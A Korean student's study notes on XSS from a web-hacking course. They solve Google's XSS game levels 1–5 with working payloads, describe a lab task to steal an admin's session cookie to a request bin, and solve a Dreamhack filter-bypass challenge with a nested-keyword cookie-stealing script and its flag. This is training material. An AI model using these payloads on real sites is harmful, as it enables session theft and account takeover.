웹해킹 2주차
<실습2>
xss게임 1단계 ~5단계문제 풀기!
XSS game (xss-game.appspot.com)
XSS game
Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch the
xss-game.appspot.com
1단계
미션 설명
이 수준은 사용자 입력이 적절한 이스케이프 없이 페이지에 직접 포함되는 크로스 사이트 스크립팅의 일반적인 원인을 보여줍니다.
아래의 취약한 애플리케이션 창과 상호 작용하여 원하는 JavaScript를 실행하도록 하는 방법을 찾으세요. 취약한 창 내부에서 작업을 수행하거나 URL 표시줄을 직접 편집할 수 있습니다.
임무 목표
alert()아래 프레임에 JavaScript를 팝업하는 스크립트를 삽입합니다 .
알림을 표시하면 다음 레벨로 진행할 수 있습니다.
<script>alert('hi');</script>

2단계
미션 설명
웹 애플리케이션은 종종 사용자 데이터를 서버 측과 점점 더 클라이언트 측 데이터베이스에 보관하고 나중에 사용자에게 표시합니다. 이러한 사용자 제어 데이터는 어디에서 왔든 신중하게 처리해야 합니다.
이 수준은 복잡한 앱에서 XSS 버그가 얼마나 쉽게 도입될 수 있는지 보여줍니다.
임무 목표
alert()스크립트를 삽입하여 애플리케이션 컨텍스트에 팝업을 표시합니다 .
참고 : 애플리케이션은 게시물을 저장하므로 경고를 실행하기 위해 코드를 몰래 넣으면 이 레벨은 매번 다시 로드할 때마다 해결됩니다.
- 1. "환영" 게시물에는 HTML이 포함되어 있으며, 이는 템플릿이 상태 메시지의 내용을 이스케이프하지 않는다는 것을 나타냅니다.
- 2. 이 레벨에 <script> 태그를 입력해도 작동하지 않습니다. 대신 JavaScript 속성이 있는 요소를 시도해 보세요.
- 3. 이 레벨은 i , m , g 문자 와 속성 으로 후원됩니다 onerror.
<img src="hi" onerror="alert('hi')">
3단계
미션 설명
이전 레벨에서 보았듯이, 일부 일반적인 JS 함수는 실행 싱크로 , 즉 브라우저가 입력에 나타나는 모든 스크립트를 실행하게 합니다. 때때로 이 사실은 이러한 함수 중 하나를 후드 아래에서 사용하는 상위 레벨 API에 의해 숨겨집니다.
이 레벨의 애플리케이션은 그러한 숨겨진 싱크 중 하나를 사용합니다.
임무 목표
alert()이전과 마찬가지로, 앱에 JavaScript를 팝업하는 스크립트를 삽입합니다 .
애플리케이션의 어디에도 페이로드를 입력할 수 없으므로 아래 URL 표시줄의 주소를 수동으로 편집해야 합니다.
- 버그의 원인을 찾으려면 JavaScript를 검토하여 사용자가 제공한 입력을 처리하는 위치를 확인하세요.
- 객체 내의 데이터는 window.location공격자의 영향을 받을 수 있습니다.
- 주입 지점을 파악했으면 새로운 HTML 요소를 몰래 넣기 위해 무엇을 해야 할지 생각해 보세요.
- 이전과 마찬가지로, <script> ...페이로드로 사용하면 작동하지 않습니다. 브라우저가 페이지가 로드된 후 추가된 스크립트를 실행하지 않기 때문입니다.
<img > 태그안에 num을 조작해 스크립트문을 실행하도록 한다.
https://xss-game.appspot.com/level3/frame#1/
<img src='/static/level3/cloud' onerror='alert(1)'.jpg/>
4단계
미션 설명
사용자가 제공한 모든 데이터는 해당 데이터가 나타날 페이지의 컨텍스트에 맞게 올바르게 이스케이프되어야 합니다. 이 레벨에서 그 이유를 알 수 있습니다.
임무 목표
alert()애플리케이션에 JavaScript를 팝업하는 스크립트를 삽입합니다 .
- 함수가 어떻게 호출되는지 살펴보세요 startTimer.
- 브라우저가 태그 속성을 구문 분석할 때 먼저 값을 HTML 디코딩합니다. <foo bar='z'>는 <foo bar='z'와 동일합니다.
- 작은따옴표(')를 입력하고 오류 콘솔을 살펴보세요.
alert 문구와 url을 보면 get 방식으로 파라미터안에 time=3이라는 값이 등록되고 3초뒤에 실행된다.
이걸 우회시킬 urlencode된 ; 를 사용한다
https://xss-game.appspot.com/level4/frame/
?timer=3')%3balert('hi

5단계
미션 설명
크로스 사이트 스크립팅은 단순히 데이터를 올바르게 이스케이프하는 것만이 아닙니다. 때로는 공격자가 DOM에 새로운 요소를 주입하지 않고도 나쁜 짓을 할 수 있습니다.
임무 목표
alert()애플리케이션 컨텍스트에 팝업을 표시하는 스크립트를 삽입합니다 .
- 1. 이 레벨의 제목은 힌트입니다.
- 2. 가입 프레임의 소스를 살펴보고 URL 매개변수가 어떻게 사용되는지 확인하는 것이 좋습니다.
- 3. 링크를 클릭하면 Javascript가 실행되도록 하고 싶은데( onclick핸들러를 사용하지 않고), 어떻게 해야 하나요?
- 4. 정말 막혔다면 이 IETF 초안을 살펴보세요.

next 파라미터값으로 링크가 이동되는데, href 속성에서 스크립트의 실행하는 로직
next=javascript:alert(1);를 넣어주고 실행
https://xss-game.appspot.com/level5/frame/
signup?next=javascript:alert("hi")

<실습3>
xss.mjsec.kr/user/login/ 에서 id가 admin인 계정의 세션값을 드림핵 툴즈 request bin (https://tools.dreamhack.games/requestbin)으로 전송하여 쿠키값들 탈취 후, 해당 쿠키값으로 http://xss.mjsec.kr/admin 해당 페이지 접속 후 인증 샷 남기기!!
ID: 각자 이름
PW: 1q2w3e4r!
- xss.mjsec.kr/user/login/ 로 들어가면됩니당






<실습4>
xss filtering bypass 풀어보기!
https://dreamhack.io/wargame/challenges/433
XSS Filtering Bypass
Description Exercise: XSS Filtering Bypass에서 실습하는 문제입니다. 문제 수정 내역 2023.08.04 Dockerfile 제공
dreamhack.io
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
script 가 필터링 되지 않도록 우회해야한다.
"javascript", "script", "on" 3개의 단어를 필터링 하여, 해당되는 단어를 빈 문자열 ""로 치환한다.
"scriscriptpt" 안의 "script" 문자열은 ""로 치환하여 제거할 것이다.
그러면 남은 "scri"와 "pt"가 합쳐져 "script" 가 완성되고, 필터링을 우회할 수 있다.
<scrscriptipt>locatioonn.href='/memo?memo=' +document.cookie</scriscriptpt>
flag=DH{81cd7cb24a49ad75b9ba37c2b0cda4ea}
hello